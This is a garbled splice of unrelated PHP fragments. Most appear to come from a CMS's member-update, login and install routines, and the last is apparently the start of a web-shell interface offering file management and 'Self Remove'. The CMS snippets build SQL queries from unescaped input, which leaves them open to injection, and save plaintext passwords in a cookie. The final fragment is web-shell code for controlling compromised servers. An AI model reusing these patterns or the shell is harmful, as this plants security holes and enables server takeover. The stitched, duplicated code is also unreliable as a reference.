$newPw = getCrypt($pw, $_M['d_regis']); getDbUpdate($table['s_mbrid'], "pw='" . $newPw . "'", 'uid=' . $uid); getDbUpdate($table['s_mbrdata'], "email='{$email}',name='{$name}',nic='{$nic}',photo='{$photo}',tel2='{$tel2}'", 'memberuid=' . $uid); if ($my['uid'] == $uid) { if ($pw != '') { $_SESSION['mbr_pw'] = $newPw; $newPw = getCrypt($pw, $_M['d_regis']); getDbUpdate($table['s_mbrid'], "pw='" . $newPw . "'", 'uid=' . $uid); if ($my['uid'] == $uid) { $_SESSION['mbr_pw'] = $newPw; } } } getDbUpdate($table['s_mbrdata'], "email='{$email}',name='{$name}',nic='{$nic}',photo='{$photo}',tel2='{$tel2}'", 'memberuid=' . $uid); } else { getDbInsert($table['s_mbrid'], 'site,id,pw', "'{$s}','{$id}','" . getCrypt($pw, $date['totime']) . "'"); $memberuid = getDbCnt($table['s_mbrid'], 'max(uid)', ''); $auth = 1; $mygroup = 1; $level = 1; $comp = 0; $adm_view = $admin ? '[admin]' : ''; $home = ''; $birth1 = 0; $birth2 = 0; $birthtype = 0; $tel1 = $tel2 && substr($tel2, 0, 2) != '01' ? $tel2 : ''; $tel2 = $tel2 && substr($tel2, 0, 2) == '01' ? $tel2 : ''; $zip = ''; $addr0 = ''; $addr1 = '';
$M1 = getDbData($table['s_mbrdata'], "email='" . $id . "'", '*'); $M = getUidData($table['s_mbrid'], $M1['memberuid']); } else { $M = getDbData($table['s_mbrid'], "id='" . $id . "'", '*'); $M1 = getDbData($table['s_mbrdata'], 'memberuid=' . $M['uid'], '*'); } if (!$M['uid'] || $M1['auth'] == 4) { getLink('', '', _LANG('a4002', 'site'), $history); } if ($M1['auth'] == 2) { getLink('', '', _LANG('a4003', 'site'), $history); } if ($M1['auth'] == 3) { getLink('', '', _LANG('a4004', 'site'), $history); } if ($M['pw'] != getCrypt($pw, $M1['d_regis']) && $M1['tmpcode'] != $pw) { getLink('', '', _LANG('a4005', 'site'), $history); } if ($usertype == 'admin') { if (!$M1['admin']) { getLink('', '', _LANG('a4006', 'site'), $history); } } getDbUpdate($table['s_mbrdata'], "tmpcode='',num_login=num_login+1,now_log=1,last_log='" . $date['totime'] . "'", 'memberuid=' . $M['uid']); getDbUpdate($table['s_referer'], 'mbruid=' . $M['uid'], "d_regis like '" . $date['today'] . "%' and site=" . $s . " and mbruid=0 and ip='" . $_SERVER['REMOTE_ADDR'] . "'"); if ($idpwsave == 'checked') { setcookie('svshop', $id . '|' . $pw, time() + 60 * 60 * 24 * 30, '/'); } else { setcookie('svshop', '', 0, '/'); } $_SESSION['mbr_uid'] = $M['uid'];
function decrypt($str) { $str_len = strlen($str); if ($str_len % 2 != 0) { return 0; } $ary = getCrypt(); $str = str_split(strtoupper($str), 2); $ret = ''; foreach ($str as $k => $v) { foreach ($ary as $k1 => $v1) { if (in_array($v, $v1)) { $ret .= $k1; break; } } } //判断密文格式 if (strlen($ret) != $str_len / 2) { return 0; } return $ret; }
$birth1 = $birth_1 ? $birth_1 : 0; $birth2 = $birth_2 && $birth_3 ? $birth_2 . $birth_3 : 0; $QUE = "insert into " . $table['s_mbrdata'] . " \n(memberuid,site,auth,mygroup,level,comp,admin,adm_view,\nemail,name,nic,grade,photo,home,sex,birth1,birth2,birthtype,tel1,tel2,zip,\naddr0,addr1,addr2,job,marr1,marr2,sms,mailing,smail,point,usepoint,money,cash,num_login,pw_q,pw_a,now_log,last_log,last_pw,is_paper,d_regis,tmpcode,sns,noticeconf,num_notice,addfield)\nvalues\n('1','1','1','1','1','0','" . $my['admin'] . "','',\n'" . $email . "','" . $name . "','" . $nick . "','','','','" . $sex . "','" . $birth1 . "','" . $birth2 . "','" . $birthtype . "','','" . $cellphone . "','',\n'','','','','0','0','1','1','0','0','0','0','0','1','" . _LANG('a09', 'install') . "','','1','" . $date['totime'] . "','" . $date['today'] . "','0','" . $date['totime'] . "','','','','0','')"; db_query($QUE, $DB_CONNECT); $groupset = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H'); $i = 0; foreach ($groupset as $_val) { getDbInsert($table['s_mbrgroup'], 'gid,name,num', "'" . $i . "','" . _LANG('a010', 'install') . $_val . "','" . (!$i ? 1 : 0) . "'"); $i++; } for ($i = 1; $i < 101; $i++) { getDbInsert($table['s_mbrlevel'], 'gid,name,num,login,post,comment', "'" . ($i == 20 ? 1 : 0) . "','" . _LANG('a011', 'install') . $i . "','" . ($i == 1 ? 1 : 0) . "','0','0','0'"); } $_tmpdfile = $g['path_module'] . 'admin/var/var.system.php'; include $_tmpdfile; if ($d['admin']['syslang'] != $sitelang) { $d['admin']['syslang'] = $sitelang; $fp = fopen($_tmpdfile, 'w'); fwrite($fp, "<?php\n"); foreach ($d['admin'] as $key => $val) { fwrite($fp, "\$d['admin']['" . $key . "'] = \"" . addslashes(stripslashes($val)) . "\";\n"); } fwrite($fp, "?>"); fclose($fp); @chmod($_tmpdfile, 0707); } setcookie('svshop', $id . '|' . $pw1, time() + 60 * 60 * 24 * 30, '/'); $_SESSION['mbr_uid'] = 1; $_SESSION['mbr_pw'] = getCrypt($pw1, $date['totime']); putNotice(1, 'admin', 0, sprintf(_LANG('a012', 'install'), $name, $name), '', ''); getLink('./index.php?r=' . $siteid . '&iframe=Y&system=guide.install', 'parent.', '', '');
} } while (@fgetc($fp) !== false) $size++; @fclose($file_pointer); */ $size = sprintf("%u", $size); $sizename = array(' B', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB'); $size = '* ' . @round($size / pow(1024, $i = floor(log($size, 1024))), 2) . $sizename[$i]; } return $size; } $sBuff = ''; $p = getCrypt(); # Sections if (isset($p['me']) && $p['me'] === 'loader') { //esta es la buena $i = 0; $countMenu = count($CCCPmod); $sysMenu = mLink('<b>' . tText('fm', 'File Manager') . '</b>', 'ajaxLoad("me=file")') . ' | '; while ($i < $countMenu) { $sysMenu .= mLink("<b>{$CCCPtitle[$i]}</b>", 'ajaxLoad("me=' . $CCCPmod[$i] . '")') . ($i == $countMenu ? '' : ' | '); $i++; } $sysMenu .= mLink('<b>' . tText('srm', 'Self Remove') . '</b>', 'ajaxLoad("me=srm")') . ' | ' . mLink('<b>' . tText('logout', 'Logout') . '</b>', 'if (confirm("' . tText('merror', 'Are you sure?') . '")) {sessionStorage.clear();hash="";d.getElementsByTagName("html")[0].innerHTML="";}'); $loader = ' <!DOCTYPE html> <html> <head>